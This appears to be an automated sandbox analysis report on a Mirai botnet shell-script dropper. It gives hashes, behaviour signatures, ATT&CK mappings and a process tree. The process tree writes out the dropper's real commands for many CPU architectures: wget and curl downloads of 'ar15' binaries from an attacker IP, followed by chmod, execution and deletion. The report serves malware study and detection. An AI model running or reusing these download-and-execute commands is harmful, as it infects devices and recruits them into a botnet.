mirai | 45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc

Analysis

max time kernel
149s
max time network
150s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
06/07/2026, 02:05

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh
Size 2KB
Sample260706-chvx3acy8p
SHA256 45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc
MD5 3860ba77f0cc8b08432f6df90ee22ad0
SHA1 3ea9b58bf6954109f39ab8ccc02e95e4f6989ffb
SHA512 7ccbace9cd9d588d1064c93cacc8a3515ca83f53da5977966d752c7db574e5cc70166f1921d99f1bf1b0a19591a42f93a14b70460b23106d563fc47bf2efc158
TLSH
T19B51918AF3110FF4AC698A2A72B9750DF0B180D6E5CF3EB658DA3CA564DEF047701642
MD5 SHA1 SHA512 TLSH

Score

10^/10

botnet defense_evasion discovery mirai upx

Malware Config

Signatures

Family: Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1562	chmod
1550	chmod
1518	chmod
1538	chmod
1544	chmod
1574	chmod
1586	chmod
1501	chmod
1513	chmod
1528	chmod
1568	chmod
1580	chmod
1491	chmod
1507	chmod
1556	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/ar15.x86	1492	45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh

Modifies Watchdog functionality 1 TTPs 6 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	ar15.x86_64
File opened for modification	/dev/misc/watchdog	ar15.x86_64
File opened for modification	/dev/watchdog	ar15.x86
File opened for modification	/dev/misc/watchdog	ar15.x86
File opened for modification	/dev/watchdog	ar15.i686
File opened for modification	/dev/misc/watchdog	ar15.i686

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 6 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	ar15.x86
File opened for modification	/bin/watchdog	ar15.x86
File opened for modification	/sbin/watchdog	ar15.i686
File opened for modification	/bin/watchdog	ar15.i686
File opened for modification	/sbin/watchdog	ar15.x86_64
File opened for modification	/bin/watchdog	ar15.x86_64

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/fstream-2.dat	upx

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/157/status	ar15.x86
File opened for reading	/proc/961/status	ar15.x86
File opened for reading	/proc/28/status	ar15.i686
File opened for reading	/proc/1243/status	ar15.x86_64
File opened for reading	/proc/80/status	ar15.x86
File opened for reading	/proc/1093/status	ar15.x86_64
File opened for reading	/proc/1339/status	ar15.x86_64
File opened for reading	/proc/1044/status	ar15.x86
File opened for reading	/proc/1248/status	ar15.x86
File opened for reading	/proc/81/status	ar15.i686
File opened for reading	/proc/1013/status	ar15.i686
File opened for reading	/proc/26/status	ar15.x86_64
File opened for reading	/proc/938/status	ar15.x86
File opened for reading	/proc/957/status	ar15.i686
File opened for reading	/proc/25/status	ar15.x86_64
File opened for reading	/proc/493/status	ar15.x86_64
File opened for reading	/proc/994/status	ar15.x86_64
File opened for reading	/proc/484/status	ar15.i686
File opened for reading	/proc/1447/status	ar15.i686
File opened for reading	/proc/981/status	ar15.x86
File opened for reading	/proc/1521/status	ar15.x86_64
File opened for reading	/proc/27/status	ar15.x86
File opened for reading	/proc/170/status	ar15.x86
File opened for reading	/proc/543/status	ar15.x86
File opened for reading	/proc/1492/status	ar15.x86
File opened for reading	/proc/1371/status	ar15.x86_64
File opened for reading	/proc/1478/status	ar15.i686
File opened for reading	/proc/501/status	ar15.x86_64
File opened for reading	/proc/602/status	ar15.x86_64
File opened for reading	/proc/705/status	ar15.x86_64
File opened for reading	/proc/1030/status	ar15.x86_64
File opened for reading	/proc/1063/status	ar15.x86
File opened for reading	/proc/1252/status	ar15.x86
File opened for reading	/proc/167/status	ar15.i686
File opened for reading	/proc/1248/status	ar15.i686
File opened for reading	/proc/1051/status	ar15.x86_64
File opened for reading	/proc/1085/status	ar15.x86_64
File opened for reading	/proc/11/status	ar15.i686
File opened for reading	/proc/543/status	ar15.i686
File opened for reading	/proc/1063/status	ar15.i686
File opened for reading	/proc/652/status	ar15.x86
File opened for reading	/proc/496/status	ar15.i686
File opened for reading	/proc/650/status	ar15.i686
File opened for reading	/proc/1332/status	ar15.i686
File opened for reading	/proc/115/status	ar15.x86
File opened for reading	/proc/1022/status	ar15.x86
File opened for reading	/proc/34/status	ar15.i686
File opened for reading	/proc/162/status	ar15.i686
File opened for reading	/proc/1088/status	ar15.i686
File opened for reading	/proc/1243/status	ar15.i686
File opened for reading	/proc/34/status	ar15.x86_64
File opened for reading	/proc/86/status	ar15.x86_64
File opened for reading	/proc/10/status	ar15.x86
File opened for reading	/proc/1477/status	ar15.x86
File opened for reading	/proc/176/status	ar15.i686
File opened for reading	/proc/168/status	ar15.x86_64
File opened for reading	/proc/201/status	ar15.x86_64
File opened for reading	/proc/1039/status	ar15.x86
File opened for reading	/proc/1150/status	ar15.x86
File opened for reading	/proc/985/status	ar15.i686
File opened for reading	/proc/1039/status	ar15.i686
File opened for reading	/proc/347/status	ar15.x86_64
File opened for reading	/proc/472/status	ar15.x86_64
File opened for reading	/proc/670/status	ar15.x86

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1502	ar15.mips
1504	rm
1499	wget
1500	curl

Writes file to tmp directory 30 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/ar15.ppc	wget
File opened for modification	/tmp/busybox	cp
File opened for modification	/tmp/ar15.mips	wget
File opened for modification	/tmp/ar15.sh4	wget
File opened for modification	/tmp/ar15.sh4	curl
File opened for modification	/tmp/ar15.x86_64	curl
File opened for modification	/tmp/ar15.arm7	wget
File opened for modification	/tmp/ar15.spc	curl
File opened for modification	/tmp/ar15.arc	curl
File opened for modification	/tmp/ar15.i686	wget
File opened for modification	/tmp/ar15.mpsl	wget
File opened for modification	/tmp/ar15.mpsl	curl
File opened for modification	/tmp/ar15.arm	wget
File opened for modification	/tmp/ar15.arm5	curl
File opened for modification	/tmp/ar15.arm6	curl
File opened for modification	/tmp/ar15.m68k	wget
File opened for modification	/tmp/ar15.x86_64	wget
File opened for modification	/tmp/ar15.arm7	curl
File opened for modification	/tmp/ar15.arm	curl
File opened for modification	/tmp/ar15.arm5	wget
File opened for modification	/tmp/ar15.i468	curl
File opened for modification	/tmp/ar15.arm6	wget
File opened for modification	/tmp/ar15.spc	wget
File opened for modification	/tmp/ar15.m68k	curl
File opened for modification	/tmp/ar15.x86	curl
File opened for modification	/tmp/ar15.mips	curl
File opened for modification	/tmp/ar15.arc	wget
File opened for modification	/tmp/ar15.ppc	curl
File opened for modification	/tmp/ar15.x86	wget
File opened for modification	/tmp/ar15.i686	curl

/tmp/45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh
/tmp/45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh
1⤵
- Executes dropped EXE
PID:1480
- /bin/cp
  cp /bin/busybox /tmp/
  2⤵
  - Writes file to tmp directory
  PID:1481
- /usr/bin/wget
  wget http://94.154.43.77/ar-15/ar15.x86
  2⤵
  - Writes file to tmp directory
  PID:1482
- /usr/bin/curl
  curl -O http://94.154.43.77/ar-15/ar15.x86
  2⤵
  - Writes file to tmp directory
  PID:1490
- /bin/chmod
  chmod +x 45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh ar15.x86 busybox config-err-I5MEtN netplan_nwri8fqm snap-private-tmp ssh-FqCRx90L9mgp systemd-private-e52c98e649b342fcb469399441f5cb5e-bolt.service-wNVsSY systemd-private-e52c98e649b342fcb469399441f5cb5e-colord.service-RxYvJ7 systemd-private-e52c98e649b342fcb469399441f5cb5e-ModemManager.service-8sqy7a systemd-private-e52c98e649b342fcb469399441f5cb5e-systemd-resolved.service-07tkwl systemd-private-e52c98e649b342fcb469399441f5cb5e-systemd-timedated.service-fOH0Xx
  2⤵
  - File and Directory Permissions Modification
  PID:1491
- /tmp/ar15.x86
  ./ar15.x86 ar15.x86
  2⤵
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1492
- /bin/rm
  rm -rf ar15.x86
  2⤵
  PID:1498
- /usr/bin/wget
  wget http://94.154.43.77/ar-15/ar15.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1499
- /usr/bin/curl
  curl -O http://94.154.43.77/ar-15/ar15.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1500
- /bin/chmod
  chmod +x 45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh ar15.mips busybox config-err-I5MEtN netplan_nwri8fqm snap-private-tmp ssh-FqCRx90L9mgp systemd-private-e52c98e649b342fcb469399441f5cb5e-bolt.service-wNVsSY systemd-private-e52c98e649b342fcb469399441f5cb5e-colord.service-RxYvJ7 systemd-private-e52c98e649b342fcb469399441f5cb5e-ModemManager.service-8sqy7a systemd-private-e52c98e649b342fcb469399441f5cb5e-systemd-resolved.service-07tkwl systemd-private-e52c98e649b342fcb469399441f5cb5e-systemd-timedated.service-fOH0Xx
  2⤵
  - File and Directory Permissions Modification
  PID:1501
- /tmp/ar15.mips
  ./ar15.mips ar15.mips
  2⤵
  - System Network Configuration Discovery
  PID:1502
- /bin/rm
  rm -rf ar15.mips
  2⤵
  - System Network Configuration Discovery
  PID:1504
- /usr/bin/wget
  wget http://94.154.43.77/ar-15/ar15.arc
  2⤵
  - Writes file to tmp directory
  PID:1505
- /usr/bin/curl
  curl -O http://94.154.43.77/ar-15/ar15.arc
  2⤵
  - Writes file to tmp directory
  PID:1506
- /bin/chmod
  chmod +x 45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh ar15.arc busybox config-err-I5MEtN netplan_nwri8fqm snap-private-tmp ssh-FqCRx90L9mgp systemd-private-e52c98e649b342fcb469399441f5cb5e-bolt.service-wNVsSY systemd-private-e52c98e649b342fcb469399441f5cb5e-colord.service-RxYvJ7 systemd-private-e52c98e649b342fcb469399441f5cb5e-ModemManager.service-8sqy7a systemd-private-e52c98e649b342fcb469399441f5cb5e-systemd-resolved.service-07tkwl systemd-private-e52c98e649b342fcb469399441f5cb5e-systemd-timedated.service-fOH0Xx
  2⤵
  - File and Directory Permissions Modification
  PID:1507
- /tmp/ar15.arc
  ./ar15.arc ar15.arc
  2⤵
  PID:1508
- /bin/rm
  rm -rf ar15.arc
  2⤵
  PID:1510
- /usr/bin/wget
  wget http://94.154.43.77/ar-15/ar15.i468
  2⤵
  PID:1511
- /usr/bin/curl
  curl -O http://94.154.43.77/ar-15/ar15.i468
  2⤵
  - Writes file to tmp directory
  PID:1512
- /bin/chmod
  chmod +x 45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh ar15.i468 busybox config-err-I5MEtN netplan_nwri8fqm snap-private-tmp ssh-FqCRx90L9mgp systemd-private-e52c98e649b342fcb469399441f5cb5e-bolt.service-wNVsSY systemd-private-e52c98e649b342fcb469399441f5cb5e-colord.service-RxYvJ7 systemd-private-e52c98e649b342fcb469399441f5cb5e-ModemManager.service-8sqy7a systemd-private-e52c98e649b342fcb469399441f5cb5e-systemd-resolved.service-07tkwl systemd-private-e52c98e649b342fcb469399441f5cb5e-systemd-timedated.service-fOH0Xx
  2⤵
  - File and Directory Permissions Modification
  PID:1513
- /tmp/ar15.i468
  ./ar15.i468 ar15.i468
  2⤵
  PID:1514
- /bin/rm
  rm -rf ar15.i468
  2⤵
  PID:1515
- /usr/bin/wget
  wget http://94.154.43.77/ar-15/ar15.i686
  2⤵
  - Writes file to tmp directory
  PID:1516
- /usr/bin/curl
  curl -O http://94.154.43.77/ar-15/ar15.i686
  2⤵
  - Writes file to tmp directory
  PID:1517
- /bin/chmod
  chmod +x 45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh ar15.i686 busybox config-err-I5MEtN netplan_nwri8fqm snap-private-tmp ssh-FqCRx90L9mgp systemd-private-e52c98e649b342fcb469399441f5cb5e-bolt.service-wNVsSY systemd-private-e52c98e649b342fcb469399441f5cb5e-colord.service-RxYvJ7 systemd-private-e52c98e649b342fcb469399441f5cb5e-ModemManager.service-8sqy7a systemd-private-e52c98e649b342fcb469399441f5cb5e-systemd-resolved.service-07tkwl systemd-private-e52c98e649b342fcb469399441f5cb5e-systemd-timedated.service-fOH0Xx
  2⤵
  - File and Directory Permissions Modification
  PID:1518
- /tmp/ar15.i686
  ./ar15.i686 ar15.i686
  2⤵
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1519
- /bin/rm
  rm -rf ar15.i686
  2⤵
  PID:1525
- /usr/bin/wget
  wget http://94.154.43.77/ar-15/ar15.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1526
- /usr/bin/curl
  curl -O http://94.154.43.77/ar-15/ar15.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1527
- /bin/chmod
  chmod +x 45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh ar15.x86_64 busybox config-err-I5MEtN netplan_nwri8fqm snap-private-tmp ssh-FqCRx90L9mgp systemd-private-e52c98e649b342fcb469399441f5cb5e-bolt.service-wNVsSY systemd-private-e52c98e649b342fcb469399441f5cb5e-colord.service-RxYvJ7 systemd-private-e52c98e649b342fcb469399441f5cb5e-ModemManager.service-8sqy7a systemd-private-e52c98e649b342fcb469399441f5cb5e-systemd-resolved.service-07tkwl systemd-private-e52c98e649b342fcb469399441f5cb5e-systemd-timedated.service-fOH0Xx
  2⤵
  - File and Directory Permissions Modification
  PID:1528
- /tmp/ar15.x86_64
  ./ar15.x86_64 ar15.x86_64
  2⤵
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1529
- /bin/rm
  rm -rf ar15.x86_64
  2⤵
  PID:1535
- /usr/bin/wget
  wget http://94.154.43.77/ar-15/ar15.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1536
- /usr/bin/curl
  curl -O http://94.154.43.77/ar-15/ar15.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1537
- /bin/chmod
  chmod +x 45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh ar15.mpsl busybox config-err-I5MEtN netplan_nwri8fqm snap-private-tmp ssh-FqCRx90L9mgp systemd-private-e52c98e649b342fcb469399441f5cb5e-bolt.service-wNVsSY systemd-private-e52c98e649b342fcb469399441f5cb5e-colord.service-RxYvJ7 systemd-private-e52c98e649b342fcb469399441f5cb5e-ModemManager.service-8sqy7a systemd-private-e52c98e649b342fcb469399441f5cb5e-systemd-resolved.service-07tkwl systemd-private-e52c98e649b342fcb469399441f5cb5e-systemd-timedated.service-fOH0Xx
  2⤵
  - File and Directory Permissions Modification
  PID:1538
- /tmp/ar15.mpsl
  ./ar15.mpsl ar15.mpsl
  2⤵
  PID:1539
- /bin/rm
  rm -rf ar15.mpsl
  2⤵
  PID:1541
- /usr/bin/wget
  wget http://94.154.43.77/ar-15/ar15.arm
  2⤵
  - Writes file to tmp directory
  PID:1542
- /usr/bin/curl
  curl -O http://94.154.43.77/ar-15/ar15.arm
  2⤵
  - Writes file to tmp directory
  PID:1543
- /bin/chmod
  chmod +x 45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh ar15.arm busybox config-err-I5MEtN netplan_nwri8fqm snap-private-tmp ssh-FqCRx90L9mgp systemd-private-e52c98e649b342fcb469399441f5cb5e-bolt.service-wNVsSY systemd-private-e52c98e649b342fcb469399441f5cb5e-colord.service-RxYvJ7 systemd-private-e52c98e649b342fcb469399441f5cb5e-ModemManager.service-8sqy7a systemd-private-e52c98e649b342fcb469399441f5cb5e-systemd-resolved.service-07tkwl systemd-private-e52c98e649b342fcb469399441f5cb5e-systemd-timedated.service-fOH0Xx
  2⤵
  - File and Directory Permissions Modification
  PID:1544
- /tmp/ar15.arm
  ./ar15.arm ar15.arm
  2⤵
  PID:1545
- /bin/rm
  rm -rf ar15.arm
  2⤵
  PID:1547
- /usr/bin/wget
  wget http://94.154.43.77/ar-15/ar15.arm5
  2⤵
  - Writes file to tmp directory
  PID:1548
- /usr/bin/curl
  curl -O http://94.154.43.77/ar-15/ar15.arm5
  2⤵
  - Writes file to tmp directory
  PID:1549
- /bin/chmod
  chmod +x 45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh ar15.arm5 busybox config-err-I5MEtN netplan_nwri8fqm snap-private-tmp ssh-FqCRx90L9mgp systemd-private-e52c98e649b342fcb469399441f5cb5e-bolt.service-wNVsSY systemd-private-e52c98e649b342fcb469399441f5cb5e-colord.service-RxYvJ7 systemd-private-e52c98e649b342fcb469399441f5cb5e-ModemManager.service-8sqy7a systemd-private-e52c98e649b342fcb469399441f5cb5e-systemd-resolved.service-07tkwl systemd-private-e52c98e649b342fcb469399441f5cb5e-systemd-timedated.service-fOH0Xx
  2⤵
  - File and Directory Permissions Modification
  PID:1550
- /tmp/ar15.arm5
  ./ar15.arm5 ar15.arm5
  2⤵
  PID:1551
- /bin/rm
  rm -rf ar15.arm5
  2⤵
  PID:1553
- /usr/bin/wget
  wget http://94.154.43.77/ar-15/ar15.arm6
  2⤵
  - Writes file to tmp directory
  PID:1554
- /usr/bin/curl
  curl -O http://94.154.43.77/ar-15/ar15.arm6
  2⤵
  - Writes file to tmp directory
  PID:1555
- /bin/chmod
  chmod +x 45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh ar15.arm6 busybox config-err-I5MEtN netplan_nwri8fqm snap-private-tmp ssh-FqCRx90L9mgp systemd-private-e52c98e649b342fcb469399441f5cb5e-bolt.service-wNVsSY systemd-private-e52c98e649b342fcb469399441f5cb5e-colord.service-RxYvJ7 systemd-private-e52c98e649b342fcb469399441f5cb5e-ModemManager.service-8sqy7a systemd-private-e52c98e649b342fcb469399441f5cb5e-systemd-resolved.service-07tkwl systemd-private-e52c98e649b342fcb469399441f5cb5e-systemd-timedated.service-fOH0Xx
  2⤵
  - File and Directory Permissions Modification
  PID:1556
- /tmp/ar15.arm6
  ./ar15.arm6 ar15.arm6
  2⤵
  PID:1557
- /bin/rm
  rm -rf ar15.arm6
  2⤵
  PID:1559
- /usr/bin/wget
  wget http://94.154.43.77/ar-15/ar15.arm7
  2⤵
  - Writes file to tmp directory
  PID:1560
- /usr/bin/curl
  curl -O http://94.154.43.77/ar-15/ar15.arm7
  2⤵
  - Writes file to tmp directory
  PID:1561
- /bin/chmod
  chmod +x 45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh ar15.arm7 busybox config-err-I5MEtN netplan_nwri8fqm snap-private-tmp ssh-FqCRx90L9mgp systemd-private-e52c98e649b342fcb469399441f5cb5e-bolt.service-wNVsSY systemd-private-e52c98e649b342fcb469399441f5cb5e-colord.service-RxYvJ7 systemd-private-e52c98e649b342fcb469399441f5cb5e-ModemManager.service-8sqy7a systemd-private-e52c98e649b342fcb469399441f5cb5e-systemd-resolved.service-07tkwl systemd-private-e52c98e649b342fcb469399441f5cb5e-systemd-timedated.service-fOH0Xx
  2⤵
  - File and Directory Permissions Modification
  PID:1562
- /tmp/ar15.arm7
  ./ar15.arm7 ar15.arm7
  2⤵
  PID:1563
- /bin/rm
  rm -rf ar15.arm7
  2⤵
  PID:1565
- /usr/bin/wget
  wget http://94.154.43.77/ar-15/ar15.ppc
  2⤵
  - Writes file to tmp directory
  PID:1566
- /usr/bin/curl
  curl -O http://94.154.43.77/ar-15/ar15.ppc
  2⤵
  - Writes file to tmp directory
  PID:1567
- /bin/chmod
  chmod +x 45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh ar15.ppc busybox config-err-I5MEtN netplan_nwri8fqm snap-private-tmp ssh-FqCRx90L9mgp systemd-private-e52c98e649b342fcb469399441f5cb5e-bolt.service-wNVsSY systemd-private-e52c98e649b342fcb469399441f5cb5e-colord.service-RxYvJ7 systemd-private-e52c98e649b342fcb469399441f5cb5e-ModemManager.service-8sqy7a systemd-private-e52c98e649b342fcb469399441f5cb5e-systemd-resolved.service-07tkwl systemd-private-e52c98e649b342fcb469399441f5cb5e-systemd-timedated.service-fOH0Xx
  2⤵
  - File and Directory Permissions Modification
  PID:1568
- /tmp/ar15.ppc
  ./ar15.ppc ar15.ppc
  2⤵
  PID:1569
- /bin/rm
  rm -rf ar15.ppc
  2⤵
  PID:1571
- /usr/bin/wget
  wget http://94.154.43.77/ar-15/ar15.spc
  2⤵
  - Writes file to tmp directory
  PID:1572
- /usr/bin/curl
  curl -O http://94.154.43.77/ar-15/ar15.spc
  2⤵
  - Writes file to tmp directory
  PID:1573
- /bin/chmod
  chmod +x 45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh ar15.spc busybox config-err-I5MEtN netplan_nwri8fqm snap-private-tmp ssh-FqCRx90L9mgp systemd-private-e52c98e649b342fcb469399441f5cb5e-bolt.service-wNVsSY systemd-private-e52c98e649b342fcb469399441f5cb5e-colord.service-RxYvJ7 systemd-private-e52c98e649b342fcb469399441f5cb5e-ModemManager.service-8sqy7a systemd-private-e52c98e649b342fcb469399441f5cb5e-systemd-resolved.service-07tkwl systemd-private-e52c98e649b342fcb469399441f5cb5e-systemd-timedated.service-fOH0Xx
  2⤵
  - File and Directory Permissions Modification
  PID:1574
- /tmp/ar15.spc
  ./ar15.spc ar15.spc
  2⤵
  PID:1575
- /bin/rm
  rm -rf ar15.spc
  2⤵
  PID:1577
- /usr/bin/wget
  wget http://94.154.43.77/ar-15/ar15.m68k
  2⤵
  - Writes file to tmp directory
  PID:1578
- /usr/bin/curl
  curl -O http://94.154.43.77/ar-15/ar15.m68k
  2⤵
  - Writes file to tmp directory
  PID:1579
- /bin/chmod
  chmod +x 45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh ar15.m68k busybox config-err-I5MEtN netplan_nwri8fqm snap-private-tmp ssh-FqCRx90L9mgp systemd-private-e52c98e649b342fcb469399441f5cb5e-bolt.service-wNVsSY systemd-private-e52c98e649b342fcb469399441f5cb5e-colord.service-RxYvJ7 systemd-private-e52c98e649b342fcb469399441f5cb5e-ModemManager.service-8sqy7a systemd-private-e52c98e649b342fcb469399441f5cb5e-systemd-resolved.service-07tkwl systemd-private-e52c98e649b342fcb469399441f5cb5e-systemd-timedated.service-fOH0Xx
  2⤵
  - File and Directory Permissions Modification
  PID:1580
- /tmp/ar15.m68k
  ./ar15.m68k ar15.m68k
  2⤵
  PID:1581
- /bin/rm
  rm -rf ar15.m68k
  2⤵
  PID:1583
- /usr/bin/wget
  wget http://94.154.43.77/ar-15/ar15.sh4
  2⤵
  - Writes file to tmp directory
  PID:1584
- /usr/bin/curl
  curl -O http://94.154.43.77/ar-15/ar15.sh4
  2⤵
  - Writes file to tmp directory
  PID:1585
- /bin/chmod
  chmod +x 45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh ar15.sh4 busybox config-err-I5MEtN netplan_nwri8fqm snap-private-tmp ssh-FqCRx90L9mgp systemd-private-e52c98e649b342fcb469399441f5cb5e-bolt.service-wNVsSY systemd-private-e52c98e649b342fcb469399441f5cb5e-colord.service-RxYvJ7 systemd-private-e52c98e649b342fcb469399441f5cb5e-ModemManager.service-8sqy7a systemd-private-e52c98e649b342fcb469399441f5cb5e-systemd-resolved.service-07tkwl systemd-private-e52c98e649b342fcb469399441f5cb5e-systemd-timedated.service-fOH0Xx
  2⤵
  - File and Directory Permissions Modification
  PID:1586
- /tmp/ar15.sh4
  ./ar15.sh4 ar15.sh4
  2⤵
  PID:1587
- /bin/rm
  rm -rf ar15.sh4
  2⤵
  PID:1589

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ar15.x86

Path /tmp/ar15.x86
Size 38KB
SHA256 f6ed1f773e7555647b59fe502cf4e9f37a40c26aa14e3bd69665c19a596f2cc3
MD5 c23ec0e56de725a3f600599810d9fca7
SHA1 d42fa64b6c6e6bc5e7be0f295878de1671633602
SHA512 b47625b253c312731798dade5888bee5923c819d746794b51235184efa81f8e3e2b4affbb3d3459acef8c423780692ca50cc559410f839558ef606f9281f2054
SSDEEP 768:dXyZ9boRkEz8+RYgMAKusWxnqpCjC6kywTY2PPsIU9jqbJst3nbcuyD7UHQRjz:dYmkC8+WrfW8pAV25U9IGnouy8Hy3
TLSH
T13803F11AC7864998F127A2B654F7F94F0C04EA4D84E857921EFC3D67424AB603F2439F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

busybox

Path /tmp/busybox
Size 2.0MB
SHA256 a9f0735d28f9a6a4f2634d3b144156f7b3df3b476a16a5ab0c7bdf98d74dd020
MD5 b4dede5fc0b1bad5cb8e901bde126b97
SHA1 10cbe9a418ad84a1ed297948539d37aeb58dd810
SHA512 45665ce3a42f63a01fdef517e0c4cb943efce64c8a32d3ce07ab4f1fafc23cda77f378d324342efc79dc9d2293c4b4454d06c1cf4997b9e866784de01cb546e6
SSDEEP 49152:YfQ1HrHIYLrf2uxW2kx7gRHdITdHR8MonrH1NqCgkR:WYfFVdIpGxz1E
TLSH
T1D8A57C16B2E320FCC597C13043AFD7626D75B4AA12317E7F35849A312E56EA02B1DB63
MD5 SHA1 SHA512 SSDEEP TLSH